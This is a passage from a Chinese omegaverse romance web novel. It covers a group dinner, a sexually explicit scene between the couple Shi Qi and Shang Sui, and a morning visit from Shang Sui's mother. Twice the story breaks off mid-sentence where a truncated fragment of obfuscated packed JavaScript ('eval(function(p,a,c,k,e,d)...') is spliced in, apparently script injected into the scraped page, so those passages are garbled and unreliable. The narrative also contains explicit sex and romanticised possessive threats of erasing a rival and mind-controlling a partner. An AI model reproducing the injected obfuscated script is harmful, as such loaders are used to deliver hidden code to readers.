一直没说话的黎昭笑道:“我也觉得,小绮这样特别好看。” 她边说边看向他们:“你们也是来看S的作品吗?” “算吧,”商随说,“小绮想看我的画。” 时绮刚才已经大致有了数,听他亲口说出来,倒是没太惊讶。 姜宥宁却愣在原地:“啊?你哪位??” 等等。 那她刚才上来就是一句你们知不知道人艺术家在想什么,她是当着本人的面,教人家做阅读理解吗? 姜宥宁难得尴尬,偷偷拐了时绮一下:“喂,这么大的事,怎么能瞒着姐姐。” 时绮也偷偷拐回来:“我也才知道。” 姜宥宁:“……” 姜宥宁:“你男朋友是洋葱?他到底有多少秘密。” 这个比喻格外形象,好像每隔一段时间,商随就会展露一个秘密。 不过时绮接受度很高,无所谓道:“不是什么大事。” 姜宥宁恨铁不成钢:“家世不是大事、职业不是大事,那你说说什么才是大事?” 时绮:“脸。” 姜宥宁:“……” 完全无法反驳。 在他们姐弟俩说悄悄话的同时,黎昭主动对商随道:“可能这么说有些唐突,从三年前看见那副《夜雨》开始,您的作品给了我很深的触动。” 出于职业习惯,她随身携带有记录工具,黎昭拿出笔、又特意翻出自己做的手账本:“可以请您给我签名吗?” 她翻到其中一页,上面贴着洗出来的4寸照片,周围装饰有邮票和纪念章。 “在欧洲跑新闻的时候,听说那边有几家美术馆收藏了您的作品,我特意去拍了照。” 说话的同时,商随和她对上视线。 他的五感比常人敏锐,先前隐隐感觉有人在观察自己,那时候她还不知道他是谁,按理来说,黎昭没必要一直盯着他看。 近距离交谈,违和感就更强烈。 除了黎昭口中的欣赏,似乎还有……掩藏不住的震惊? 商随略感奇怪,还是礼貌性地笑笑:“太客气了,不用叫尊称。” 见他挑了一个最合适的位置签名,黎昭珍惜地收好:“好的,谢谢你。” 等他们说完,姜宥宁上前一步。 时绮一直藏着掖着不让商随和他们接触,好不容易逮着机会,她想再试探试探,看看人究竟怎么样。 姜宥宁适时道:“既然碰上了,大家一起吃个饭?” - 离开展馆前,时绮的目光最后一次掠过那幅天使与怪物的画作,竟是有些舍不得。 注意到他的视线,商随问:“你很喜欢这幅画?” 时绮应声:“它会一直留在这里吗?” 这样的话,以后可以再来看。 “等展出结束,主办方会把它送回来。” 商随收回落在画上的视线,静静凝望他,须臾后才道:“喜欢的话,可以送给你。” “真的?”时绮眼里流露出惊喜的神色,“给我吗?” “不要弄丢哦。” “不会的,我会好好收起来。”时绮补充道,“而且可以放在你家里,这样就不会弄丢了。” 片刻过后,商随轻轻答应一声。 考虑到时绮不爱吃辣,他们最后选中附近一家淮扬菜。 秦书赫今天在展子上当志愿者,正巧下班,时绮叫上他一起吃饭。 一看见他,秦书赫捂住眼睛:“噢,我的天哪!这是我们展馆哪件艺术品没有关好,自己跑出来了吗?” 时绮:“?” 时绮:“不准用翻译腔和我说话。” 秦书赫被他噎了一下,又嘻嘻哈哈道:“我听我们同事说昼馆这边有个美若天仙的Omega,白金发,我就猜到可能是你。” “所以皇上今天怎么穿成这样,微服私访啊?”秦书赫很是新奇,“您不是酷字贯穿一生吗。” 时绮抬了抬下巴,示意身边人:“商随挑的。” 秦书赫竖起拇指:“皇后很有眼光。” 他说到这里看向商随,半真半假埋怨:“哥,你也太低调了!” “我一直以为你那微信名是因为你也喜欢S,结果居然是本人啊!我不负责绘画展区,今天听同事聊天才知道,那一刻我下巴都快掉地上,太见外了吧哥!你瞒着一般人就算了,咱们认识这么长时间……” 有秦书赫在,丝毫不用担心冷场。 他噼里啪啦说了一堆,大家都笑起来,姜宥宁趁机道:“就是说啊,这么低调干嘛!” 她还记得刚才的事,清了清嗓子道:“那什么,一开始不好意思,实在没想到你年纪轻轻就功成名就的。” 商随今天主打一个千错万错都是自己的错:“没关系,是我说话太唐突。” 姜宥宁见状,在心里点点头,默默把对他的印象分往上提。 等大家点好菜,时绮去了一趟卫生间,出来恰巧在盥洗台碰上黎昭。 黎昭与姜宥宁交往三年时间,因为工作性质聚少离多,两人感情却非常稳定。 黎昭去过很多地方,深入过战火纷飞的国家、采访过原始丛林里的部落。在巴西参加狂欢节时,距离她几百米的地方就有枪击案,姜宥宁吓得一天一夜没睡,联系上黎昭的第一句话便是谢天谢地,幸好她命大。 在时绮的印象里,她是个温温柔柔、又非常坚定的人。 黎昭朝他笑了笑,忽然道:“对了小绮,我最近在做一个专题,可以问你一些问题吗?就当收集素材。” 时绮嗯了一声:“是什么专题?” “特殊易感期。” 时绮眼里闪过片刻惊讶。黎昭继续道:“想问问你对特殊易感期的看法,大多数人对他们避之不及,总认为是社会的不稳定因素;也有少部分人觉得特易期高人一等,真正意义上跳出ABO性别。他们本身不受信息素影响,却能反过来影响他人。” 因为商随,相较于一般人,他对特殊易感期要了解许多。 “没有特别的看法。”时绮实话实说,“我是先看见这个人,再看见特殊易感期。” “人和人是独立的个体,我不喜欢给人贴标签、也不喜欢以偏概全。” 时绮思考该怎么描述才最恰当,最后选择举例:“如果是朋友,即使得知特殊易感期,他也依旧是我的朋友。其他关系也一样。” “这样啊……”黎昭若有所思,“在我的印象里,很少有人这么想。” 时绮心里微微一滞,思绪乱了半拍。 他不确定自己的表现是否足够自然,现阶段他没打算让家里人知道商随的不同,即使以后可能坦白,也要在商随自愿的前提下。 黎昭很聪明,怕被她看出不对,时绮主动问:“那你呢,小黎姐姐?” 她愣了愣,认真思考许久。 “我和你想法相似,我也觉得不能因为部分人的表现,直接定义这个群体的所有人。哪怕是从统计数字来看,70%的特易期都是无辜的被牵连者。” “但如果遇见特易期,我不知道自己能否真正用平常心对待。”黎昭知道他向来心口如一,眼里流露出钦佩的神色,“小绮能毫不迟疑这样说,在我看来非常勇敢。” 听到这里,时绮松了一口气。 自己刚才的表现应该没什么问题? 黎昭稍作停顿,又道:“你知道十年前发生在海城的连环杀人案吗?特易期的Alpha伪装成Beta,凶手有虐杀的嗜好,会生生割下受害者的十根手指。” “这个案子持续两年,总共有七名受害者,直到八年前才正式结案。” 时绮点点头:“我听说过这个案件。” 他对这起案件的了解大都来自秦书赫推荐给他的恐怖游戏,游戏本身改为校园背景,所有角色和情节与现实没有关联,唯有一处设定来自于海城连环杀人案的传言: 当年隐隐约约有捕风捉影的小道消息,说凶手能够精神操控受害者,才能顺利虐杀那么多人。 因为太过玄乎、后续也并未得到证实,并没有多少人相信。 游戏制作组挪用了这一点,但也特意标明一切纯属虚构,与现实无关。 “这起案件在当时引起过巨大轰动,直到现在也时不时被人提起,可以说,因为当年的连环杀手,特易期的Alpha处境变得更为艰难。” 黎昭说完,解释道:“我做的正是与案件有关的专题。” 时绮了然:“原来是这样。” 等他们回到包厢,里面俨然一副热火朝天的景象。 姜宥宁和商随在圆桌两侧面对面坐着,秦书赫位于中央。桌上有两瓶红酒,地上则摆了一打啤酒。 见黎昭在自己身边坐下,姜宥宁扑到她身上蹭蹭:“怎么去那么久?补妆吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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都是Alpha,听他这么说,姜宥宁哼笑一声。 他回答得自然,越是这样,越说明他把时绮划进自己的地盘里,这点付出自然只能算微不足道的小事。 明明她这个亲姐姐还在场…… 她忽然想到什么:“你知道吗,我以前一直跟小绮说,以后一定要找个家境比我们差的Alpha,这样他才能随便欺负人,要是惹他不高兴,就直接把人关家里。” “我知道,时绮要找个受气包。”秦书赫开玩笑问,“怎么样哥,能胜任吗?” 时绮原本正在挑豆腐,闻言手一抖,镜箱豆腐啪叽掉回去。 当着商随的面提这些,他不太好意思,只能依次给姜宥宁和秦书赫使眼色,示意他俩闭嘴。 姜宥宁却直接揭穿他:“怎么了宝宝,你以前不是很赞同吗,现在舍不得啊?” 她边说边挑衅一样看向商随。她故意提这茬,就想让他知道时绮脾气大,最好有一辈子顺着时绮的准备。 不料对面的Alpha眼神微动,竟是笑起来。 “真的吗?”商随发自内心道,“还有这么好的事?” “……?” 姜宥宁揉揉太阳穴,开始怀疑自己喝醉了。 商随有商有量地问:“关起来以后,小绮可不可以每天来看我一次?” 秦书赫噗嗤一声笑出来:“牛逼啊哥,这你都愿意!我也得管你叫情圣。” 商随喝酒不上脸,看起来还勉强保留理智。 但他的声音比平时更为粘稠,仿佛有勾人心魂的魔力,时绮稍不注意就被他带偏,竟不知不觉在脑子里想象出对应场景。 见时绮不说话,商随和他贴得更近。 鼻尖嗅到Alpha不小心溢出的些许信息素,甜丝丝的味道令时绮情不自禁舔了舔唇。 商随用只有两个人能听见的音量,半真半假道:“这样的话,就算要用身体服侍你,我也心甘情愿。” 时绮可疑地沉默片刻,耳根飞速烧起来:“什么乱七八糟的,你真淫-荡。” 说是这么说,时绮从他手里抢过杯子,对姜宥宁道:“不喝了,他都开始说醉话了。” “我不信。”姜宥宁冲商随昂昂下巴,“你说说,你旁边坐的谁?” 商随坐在最远的位置,身侧只有一个人。 他和时绮对视一眼,那双因醉酒而潮湿的眼睛盛着尚未褪去的笑意,仿佛月下波光粼粼的海面。 “喜欢。” 他温柔而迷恋地说:“全世界最喜欢小绮。” 姜宥宁见商随开始答非所问,终于相信他现在不清醒。 她嘀咕道:“搞什么,再这样我真有点儿磕你俩了。” 猝不及防听见商随的表白,时绮心想醉鬼真是什么话都敢往外说,唇角却微微上扬,忍不住在桌下偷偷握住商随的手。 光是这样还不够,为表达心情,时绮拉着他上下晃了晃。 “我最近感觉好幸福。”商随反过来握住时绮的手。 他确实醉得不轻,说话颠三倒四:“每天都像在做梦,我真的可以这样吗?好怕你消失,不要消失……我们可以永远这样吗?” 确认关系后,时绮头一次知道他还有这么脆弱敏感的一面。 尽管不清楚是否是酒精的影响,时绮都觉得有趣,正要点头,临时又想起什么。 心里还是有些不好意思,但很快的,又被好奇心替代。 想到江砚平时都怎么叫他,时绮故意拖长声音,观察他的反应: “当然了,小随哥哥。” 商随眼神一闪,原本若有若无的甜蜜气息急转直下,像是从温暖的糖浆化为黏腻的蛛丝。 半晌过后,商随才道:“是在叫我吗?没听清,再说一遍。” 他周身萦绕的气息直白昭示Alpha的侵略欲,即使表面上装模作样,也被自己的信息素出卖得彻底。 时绮一下子笑起来。 醉成这样,怎么还惦记着一个称呼,就这么喜欢吗? “不是,”时绮慢悠悠补充,“是在叫喝醉酒的笨蛋。” 50.礼物 商随定定注视他,醉酒令思维变得迟缓,比起那句调笑,率先占据感官的是时绮脸上的笑容。 时绮笑和不笑区别很大。面无表情的时候盛气凌人,一旦染上笑意,那种冷冰冰的气势便会化为春水消融般的纯净,令人联想到溪谷边绽放的花。 商随心痒难耐,盯着他催促:“再叫一遍。” 半天没等到回应,他不甘心地捏了捏时绮的手,后者却干脆利落地甩开他。 商随足足愣了三秒,眼里闪过不可置信的神色。 时绮明知故问:“你不高兴吗?” “……” “为什么不说话,”像是忽然发现乐趣,时绮又一次道,“哥哥看起来好委屈。” 四目相对,Alpha低低啧了一声。 先前被甩开那只手捏住时绮的下巴,掰过他的脸,透出不容拒绝的味道。 商随的视线直直落在他的唇瓣上,距离越来越近。意识到自己玩脱了,时绮连忙挣扎着往后退:“别——!” 姜宥宁还在,亲一口印象分全没了! 商随却不管不顾贴上来。时绮慌乱中转过脸,柔软的唇瓣恰好擦过脸颊。 时绮脸上一热,听见他说:“不要躲。” 果然,姜宥宁尖叫一声:“喂!大庭广众干嘛呢!” 时绮几乎被他扑倒,仅仅是亲吻脸颊满足不了Alpha,商随又一次贴上来。 不知道是不是喝多了酒,姜宥宁见商随往时绮身上凑,竟是看见这人浑身上下都在幸福地冒爱心。 生怕他当着一堆人的面更过分,时绮赶紧把他往外推:“不要闹了!” 商随却不依不饶:“小绮,亲亲。” 他的声音像是能流出蜜:“喜欢你。” 时绮被他叫得心旌摇拽,手一软,一不小心让他靠过来。 姜宥宁看见这一幕,顿时觉得时绮以后家庭地位堪忧。 什么带回去关起来啊,她这个笨蛋弟弟裤子都快被人骗光了。 “哎呀时绮,你行不行!我今晚灌醉他是为了方便你,不是为了让你被他占便宜!” 见时绮关键时刻盯着商随出神,竟是被美色迷惑。 姜宥宁暗叹这小子不争气,口不择言道:“你要不扇他几巴掌,脸扇肿就不会心软了!” 黎昭连忙阻拦她:“人家亲一下算什么?你别瞎掺和。” 等时绮回过神,两人的距离只有咫尺之遥。 最后一刻,他手忙脚乱捂住商随的嘴,同时压低声音:“回去让你亲。” 商随暂时停下动作,像在思考这个条件是否划算。 时绮在他的注视下倍感压力:“你、你回去要做别的也可以,”他不知不觉释放一点信息素:“你现在听话。” 商随闻着他掌心的铃兰香气,须臾过后,慢慢往外退。 时绮松了口气,下一刻又僵在原地。 仗着其他人看不见,分开以前,商随在他的掌心舔了一下。 见时绮呆愣,商随朝他笑笑:“说好了哦,我回去还想舔你。” “……你属狗的吧,”时绮吐槽,“这么喜欢舔人。” 商随没有反驳,伸出双臂,心满意足勾住时绮的肩膀。 他俩身高体型都有差距,原本是小鸟依人的姿势,硬生生显得像受害者被蟒蛇缠住。 姜宥宁鼓起脸,注视这一幕。 现在商随身边不仅冒爱心,还在冒粉红小花。 秦书赫怕她不高兴,岔开话题道:“宥宁姐你还喝酒吗?我陪你喝。” “不喝了不喝了!” 姜宥宁把杯子扔到一边,转头钻进黎昭怀里:“我也要抱抱!” 秦书赫:“?” 聚餐到最后,姜宥宁也有些醉意。 分开前她把时绮单独叫到一旁,递给他一个小袋子。 “快递拿着不方便,我就拆了,不过礼盒我没碰过……你买的什么东西?首饰吗?” “你之前推荐的套链。” “你真买了啊,”姜宥宁哽咽片刻,“你要给他手链还是脚链?” “让他选吧,”时绮没多想,“毕竟是给他的礼物。” “不行,你拿手链,Alpha就没几个脑子干净的,你戴脚链他指不定想什么乱七八糟的。” 姜宥宁对上面前这张花骨朵一样纯洁的小脸,忧心忡忡道:“万一他从此受了刺激,爱上什么捆绑囚禁的,那苦的不还是你?” 时绮:“……?” 这和套链有什么关系。 不等时绮想明白,姜宥宁勉为其难评价:“不过商随还不错。” 见时绮露出意外的神色,姜宥宁挑眉:“你不会以为我在特意刁难他吧?我这都是为了帮你试探试探,看看他脾气怎么样。” 她说得义正言辞,时绮不为所动:“哦,是吗。” 姐弟俩对视一眼。 姜宥宁承认:“好吧,我最开始确实看他不顺眼,接触下来想法才有所改变。总体来说,他虽然在温柔体贴这方面比不上姐姐我,但也算Alpha里比较像话的……” 时绮冷不丁道:“温柔体贴?你?喝醉了可以直说。” “——时绮!” 时绮掉头就跑。 商随原本正在跟秦书赫聊天,他俩在小巷里并排站着,秦书赫抽烟,商随叼了根棒棒糖。 猝不及防,他被人拽了一下。 时绮:“快跑!姜宥宁要杀人了!” 商随:“?” 这场闹剧最终以姜宥宁抓住时绮,狠狠揉乱他的头发告终。 吵吵闹闹地和其他人告别,回到家里,时间接近凌晨。 进门时玄关的自动感应灯倏忽亮起,时绮顺手脱掉自己的厚外套。 Omega白皙的背部展露出一小部分,系在后颈的带子恰好遮掩腺体,配合背上一闪一闪的珍珠链条,犹如诱人拆开的礼物。 经过大半天时间,时绮已经习惯珍珠背链在走动时发出响声,没注意身后那人的眼神黏在他身上,目光一寸寸扫过白皙似雪的肌肤。 自动感应的小灯很快熄灭,时绮正要开灯,商随在黑暗中准确无误抓住他的手,先一步阻拦他的动作。 浓郁的蜂蜜气息覆盖上来,Alpha如同解除枷锁的夜行动物,心满意足从后拥抱他:“终于只剩我们了。” 对大多数人来说,光亮都比黑暗更有安全感。 时绮拍拍他的手臂,提醒他:“开一下灯。” 商随没有动,下巴抵在他的肩膀上:“今天有人找我要你的联系方式。 ” 时绮愣了愣:“什么时候?” “谢教授把我叫走以后,随行的摄影师看你漂亮,一直追着问。” 摄影师是个年轻Alpha,看着才毕业不久。 他一再夸赞时绮外貌出众、气质能够激发创作灵感,见商随表情不太对,才慢半拍地问起他和时绮的关系。 在商随说出是情侣后,摄影师呆滞片刻,连忙跟他道歉。 饶是知道时绮的桃花运一向很好,商随心里也有些吃味:“小绮为什么这么受欢迎。” “你不也一样。” 商随没有接话,而是提起另一件事:“你今天和姜宥宁说话,我听见了。你是因为脸才喜欢我。” “?” 想到商随当时应该在给黎昭签名,时绮都有些佩服他一心二用的本领。 商随抱紧他,胡搅蛮缠地问:“如果有比我更好看的Alpha,小绮会离开我吗?” 时绮心说这话怎么听着有点儿耳熟。好像林言看的狗血剧里经常有类似的台词,不同的是,他和商随的性别恰好和剧里反过来。 时绮心里好笑,故意道:“考虑一下。” “……” “比你更好看?那一定很吸引人,说不定我把持不住。” 话音刚落,时绮表情微微变化。 商随的信息素……好像失控了。 一向甜蜜的气味潮水般上涌,沉甸甸裹缠住身体。 时绮的膝盖不受控制发软,腺体开始灼烧,仿佛被一双无形的手扼住脖颈,属于Omega的本能令浑身上下每一根神经叫嚣着臣服。 要不是被商随抱着,他毫不怀疑自己早就站不稳。 一片黑暗中,他听见身后的Alpha轻声道:“如果真有这种情况,我会让他消失,再精神操控你忘掉他。” “但我没试过洗脑,可能稍不注意你就什么都不记得,无论家人、朋友……你都会忘掉,最后只记得我一个人。” 时绮本以为他的酒劲已经过了,现在才发现商随的状态不太正常。 又或者说,这才是他最真实的模样。 时绮张了张口:“你……” 他原本想问你还好吗,商随伸出手,轻轻揉捏他小小的耳垂。 被触碰的地方传来一阵酥酥麻麻的痒,时绮发出微弱的哼声,一时间忘记自己该说什么。 如果不是情况不对,他都想叫商随再往下一点,用同样的力道摸他的脖子。 “这样也好。” 商随说话的语速很慢,反倒格外有信服力。 “我会找个没人打扰的地方,永远和你在一起。” 大脑如同被强行灌入Alpha濒临失控的情绪,时绮浑身一悚,险些以为自己在听鬼故事。 但很快的,惊悚变为莫名的心疼。 商随好像真的很害怕,无论是醉酒时说自己很幸福,还是现在,像一直没什么安全感,总担心他会离开。 “你别生气,我开玩笑的。”时绮连忙道,“对我来说,没有比你更好看的Alpha。” 为了安抚他,时绮顶着巨大的压力转过身,主动向商随靠近。 黑暗中看不真切,时绮原本想亲吻他,最后只亲到他的下巴: “我只喜欢你一个人。” 伴随落下的吻,那股骇人的压迫感骤然消失。 若不是腺体依旧因受到刺激微微突起,时绮甚至以为转瞬即逝的信息素暴动是自己的错觉。 情绪能够强行压制,但信息素可不是能被收放自若的东西。 饶是知道商随和一般Alpha不同,这种大起大落实在太过诡异。时绮略感茫然,不知道他究竟是高兴还是不高兴,试探性地往前凑,想再亲他一下试试。 “谢谢宝贝,但我不是在开玩笑。”商随在黑暗中抱紧他,“没有你我会疯的。” 不等时绮做出反应,商随稍微用力,轻而易举将他打横抱起。 才穿好的毛茸拖鞋啪叽一声掉在地上,时绮抓紧手里的小袋子,被他一路抱进客厅。月光从落地窗外倾泻而下,相较于玄关,能够模模糊糊看清周围的场景。 他被扔进软绵绵的长毛沙发里,商随迫不及待压上来,搂着他亲吻。 属于另一个人的唇舌强势占据他的呼吸,时绮的每一寸都被细细舔吻、啃咬,像是恨不得将他连皮带骨吞下去。 时绮浑身发热,接吻间隙,用含糊不清的声音要求:“开灯……我想看你的脸。” 这次商随听了他的话,依依不舍吮过他的唇瓣,而后起身。 骤然亮起的灯光令时绮闭上眼睛,半晌过后,才慢慢睁开。 他看见商随眼下泛着晕红,浅褐色的眼瞳如同承载情感的旋涡,仅仅是对视,时绮便有溺水般的感受。 “袋子里是什么?” “是礼物。”时绮一直无意识抓着袋子,回过神道,“之前想给你的告白礼物。” “小绮还准备了告白礼物?”商随流露出些许惊讶的神色,“好可爱。” 时绮被夸得有些不好意思,主动问:“你要看一下吗?” 他边说边拆开袋子,将里面的礼盒递给商随。 一长一短的银色链条固定在深黑丝绒上,缀有淡粉与孔雀绿的宝石。长长的连接链条单独放置在一旁。 商随很快看出这组套链该怎么佩戴,目光不由得顿住:“怎么会想送这个?” “姐姐推荐的,我觉得很漂亮。你喜欢吗?” 商随听见他的回答,确定他只是单纯觉得这套链条好看。 明明是这么有暗示性的礼物…… “喜欢。”商随回答得很快,“我也觉得很漂亮,小绮好会挑礼物。” 听见别人喜欢自己送出去的东西,送礼人都会开心。时绮也不例外。 “这是情侣款,对吗?”商随弯起眼睛,“小绮希望我戴什么,脚链还是手链?” 时绮见他朝自己笑,一不小心,就把姜宥宁的叮嘱忘到九霄云外。 “都可以,你喜欢哪个?” “我想看你戴脚链。” 时绮点点头。 商随取出那条更长更繁复的装饰链:“我帮你戴吧。” 刚才被商随一路抱过来,时绮的拖鞋早就掉在地上。 他光脚坐在沙发上,听见商随要帮他戴链条,双腿配合地踩住毛茸茸的粉色沙发,双手垂在两侧。 商随神情莫测看着他,时绮又一次感到先前那种沉甸甸的压力,全身仿佛被他的信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见商随答应,时绮取过盒子里剩下的链条。 相比之下,单层手链要简洁许多,却依旧能从华丽的粉绿宝石挂坠看出是情侣款。 时绮摊开手掌,像是教狗狗握手一样:“来,伸手。” 他故意逗弄商随,对方却笑吟吟地配合:“好哦。” 商随将手掌放进时绮的手心,相比之下,Alpha的手掌要大上一圈。见时绮露出意外的神色,商随挑逗似的用手指勾勾他:“怎么了,我一直很听话呢。” “得了吧,”时绮拍了他一下他的手,毫不留情拆穿他,“你给我老实点。” 他边说边将链条绕上商随的手腕,而后扣紧。 听见锁扣闭合的细微声音,时绮不由得弯起唇。 难怪商随刚才表现得那么开心。 帮喜欢的人戴饰品,原来会有做标记一样的感受。 正如大家会给心爱的小猫小狗挂上刻有主人名字的项圈,换到人身上,就像在说这个人是我的了。 不等时绮仔细体会这种微妙的感觉,商随扯过那根长长的链接链条,将自己的手链和时绮的脚链连在一起。 他稍微用力,时绮便被扯住脚踝,整个人不由自主往前挪。 商随见他愣住,坏心眼地又扯了一下。 时绮被迫抬起小腿,终于意识到不对:“等等,为什么是这样,我也要拽你——” 商随没搭腔,顺势抓住他的脚踝。 时绮条件反射绷直腿,倾斜的链条一闪一闪。 商随见他除了有些意外,并不抗拒被这样对待,眼里漾开笑意。 越是接触,越能感觉到时绮对他的纵容,像是没有底线。 如果是拷链、枷锁一类的东西,他哄一哄,说不定时绮也会答应。 可惜不能永远锁着。 不等时绮再次提议交换,商随在他面前跪了下来。 商随今天只穿了一件单薄的白衬衫,早在聚餐时就解开胸前的扣子,简单的衣着反倒将身材优势体现得淋漓尽致,肩背平直宽阔。 即使跪在时绮面前,他还是很高。 “你干什么?” 时绮愣了愣,只当他要帮自己调整脚链:“不是已经戴好了吗?” “之前你答应我的事,还记得吗。” 商随见他像是忘了个精光,好心提醒:“在你问我是不是属狗的时候。” “什么?” 商随亲了一口他的唇,如同亲昵的信号,唇瓣逐渐下滑。 时绮一开始不知道这两件事有什么联系,直到握住脚踝的大手慢慢上移,抓住膝盖。 …… 时绮目光乱瞟,从高挺的眉骨到低垂的睫毛,然后…… 猝不及防,对方撩起眼,那双狐狸似的眼睛痴痴注视他,竟是在这时流露出零碎的笑意。 时绮猛地移开视线,慌乱中看向天花板,耳畔却听见黏腻的声音。 商随怎么能……! 他终于知道这两件事有什么联系,也明白为什么会说他踩在沙发上方便。 他受不了,很快失去理智,系着宝石链条的脚不知不觉踩住Alpha肩膀,后面开始不受控制乱蹬。 时绮背上细细碎碎的珍珠链条随之摇晃,发出清脆的碰撞声。 …… 时绮的呼吸支离破碎,逐渐染上哭腔,许久才回过神来。 空气中漂浮着浓郁的铃兰香气,看清楚商随做了什么,时绮更是睁大眼睛,整张脸红得快要滴血。 等他好不容易从那阵刺激中回过神,才发现商随在服务他的过程中无可避免受到影响。 时绮犹豫片刻,软着腿站起来:“我……我也帮你吧?” 不等商随回答,他学着对方先前的模样,在地毯上跪下。 细细的链条在他移动时发出声响,伴随时绮的动作,商随手腕间也传来轻微的、被牵扯的力道。 见时绮仰起脸,商随的眼神渐渐暗沉下去,修长的手指挑开时绮后颈的系带。 出门以前,他亲手给对方系了漂亮对称的蝴蝶结,恰好遮住腺体。 系带衬衫松开,向下掉落,露出一大片雪白光滑的背。时绮纤薄的蝴蝶骨在皮肉下浮出一层对称的轮廓,令人联想到月下搁浅的人鱼。 “乖,做得好……” 商随轻轻哼了声,触碰到他的后颈。 Omega脆弱的腺体发热发烫、微微鼓起,修长的手指绕到前方,摸到他纤细的锁骨,而后向下。 他听见商随低低的声音从头顶传来:“让我摸摸,你喜欢这样吧?” 他的确喜欢被抚摸,但在这个情景下,像是在指另一件事。 时绮发不出声音,高匹配度的信息素令他晕头转向。大脑如同煎锅里被加热的黄油,软绵绵地融化。 51.编造 进到浴室,商随慢慢帮时绮洗脸。 时绮的面颊从刚才开始就遍布红晕,神色迷离,如同吸多了猫薄荷的猫。 商随时不时用手指戳一戳他的唇瓣,缀着彩宝的手链随之晃动。时绮脚上的链条受到牵引,细细摩挲过凸起的踝骨。 迷迷糊糊中,他主动含住商随的手指,像是先前折腾的时间太长,形成习惯。 商随不自觉笑起来,想起什么:“刚才吐干净没?” “吐干净了。” “我检查一下。” 时绮不说话,商随得寸进尺按住他的唇舌,指尖触碰到尖尖的虎牙。 被摩擦久了,时绮的唇瓣呈现出秾丽的红色。商随仔细观察,确实干净了。 但他坏心眼地骗他:“怎么还剩一点,你故意的?” “……?” “小绮好贪吃,刚才也是。” 时绮眨了一下眼睛,想否认,却又觉得自己的行为确实算得上“贪吃”。 口中残留着些许蜂蜜的甜味,与那种清甜馥郁的味道相比,他过去吃过的所有甜品都黯然失色。 高匹配度的信息素令他完全抗拒不了商随的味道,嘴里热得不行,仿佛融化。 时绮本就不甚清醒,伴随商随暧昧的描述,嘴里好像真的还剩余什么。 在商随惊讶的目光里,时绮喉结微微滚动,竟是做出吞咽的动作。 商随注视他许久,突然问:“有那么好吃吗?” “好吃。”时绮迟疑片刻,“像糖。” 商随的呼吸乱掉一拍,对上他浑然不觉的脸:“你真是……” 主动提出帮忙、让做什么做什么,现在还说出这种话。 偏偏当事人没有蓄意引诱的意思,在时绮眼里,某些堪称放浪的行为好像也只是亲近和喜欢的表现。 时绮被直勾勾盯着,还不知道哪里惹到他了,冷不丁听见商随说:“宝宝,你真够浪的。” “?”时绮不满地反驳,“你才放浪,你刚才叫得跟什么似的,比我声音还大。” 商随再也忍不住,边笑边捧起他的脸,低头重重咬他的唇瓣。 - 尽管一直没到最后一步,有商随的帮助,时绮每晚都睡得很沉。 不仅因为百分百匹配度的信息素能够缓解失眠,还因为大多数时候他都精疲力竭,经常是弄完倒头就睡,根本没有睁眼的精力。 时绮昨晚被折腾得够呛,日上三竿还没醒来。 商随轻手轻脚下床,洗漱后去客厅找水喝,他的手机忽然亮起,显示收到一条新消息。 虞晚:[恰好路过你家附近,醒着吗?方便的话我想来看看你。] 时绮是被时安的电话吵醒的。 “喂,小安爸爸……?”他一开口声音懒洋洋的,透出几分餍足的倦意。 时安沉默三秒,决定不去细想他昨晚经历了什么:“过几天要去祁江,你准备多久回家?” “那我下午就回来。” “好,”时安迟疑片刻,“走之前我们去一趟宁山医院,给你做个检查?” 时绮才刚睡醒,没反应过来:“什么检查?” “腺体检查。听说宁山的副院看这方面很厉害,我想看看他能不能给出更具体的日期。” 先前在另一家医院检查,对于时绮的腺体退化症,医生无法给出具体的期限,只说如果要终生标记越快越好,最迟不能超过一年。 这件事始终悬挂在时安心头,本以为时绮找了男朋友,会主动考虑和对方结合根治腺体退化症,却迟迟等不到时绮有所行动。 不会就是谈个恋爱玩玩,压根没考虑结婚吧? 按照时绮的性格,这种事情不是做不出来。况且先前几次提起结婚,时绮都是模棱两可的态度。 时安越想越担心,却又不敢把他逼得太紧,最后只能采取这样迂回的方式。 “看看你终生标记的时间,最迟多久做。”时安稍作停顿,“知道日期,后续的事情我们也好早点安排。” 以往提到这个,时绮都会表现出抗拒。 时安心里忐忑,正担心他到底会不会同意,听见时绮答应一声:“嗯,好。” 时安松了口气,在心里千谢万谢,连带对那个素未谋面、拐走时绮的Alpha都顺眼几分。 挂掉电话后,时绮下了床。 他试探性叫了一声商随的名字,听见客厅传来回应。 时绮没多想,边走边开玩笑问:“你为什么不伺候我起床?” 他浑身酸软,昨晚被丝带绑过,腿上现在还浮着一圈淡淡的红痕。 红丝带分别束缚住他的双腿,最后捆在一起,他挣脱不能,就像一尾任由宰割的鱼。 想到商随是怎么折腾他的,时绮报复性地说:“我要把你打一顿。” 他说到这里,突然发现商随旁边还坐了一个人。 虞晚的面容和商随有几分相似,一看便有亲缘关系。她的背很薄,挺得笔直,白色大衣外搭着同色的羊绒披肩,令人联想到美丽优雅的天鹅。 时绮:“……” 完蛋,刚才说了什么。 商随介绍道:“小绮,这是我——” 时绮露出这辈子最乖巧的笑容,试图蒙混过关:“姐姐好。” 他说完以后,对面两个人表情都有点奇怪。 时绮心里忐忑,正想说其实我平时也没那么骄纵、不会动不动打打杀杀的,虞晚朝他笑起来。 “你好,我是他妈妈。” “……” 见时绮尴尬地杵在原地,虞晚笑着说:“好多年没被认成小随的姐姐了,刚才太高兴,都不知道该怎么反应。” “小绮是吗?来这边坐。” 时绮仿佛接到指令,依言在她旁边坐下。 “我来的路上顺便买了蛋糕。你是不是还没吃饭?先吃一点东西吧。”虞晚拆开放在茶几上的纸盒。 商随见时绮一言不发,捏捏他的手腕:“你昨天想吃街角那家的蜂蜜无花果蛋糕,正好我妈路过,就顺便让她买了。” 他稍作停顿,在时绮耳边小声补充:“没事,别紧张。” 时绮道了谢,从虞晚手里接过蛋糕。 蜂蜜和带着奶味的无花果在舌尖蔓延开来,甜甜的味道令时绮放松些许。 他边吃边听虞晚和商随说话,中途忍不住偷偷抬头,想再看一看她。 不料虞晚对视线十分敏锐,第一时间朝他笑笑。 偷看被人发现,时绮不动声色,手里的蛋糕却啪叽一声掉在茶几上。 “……” 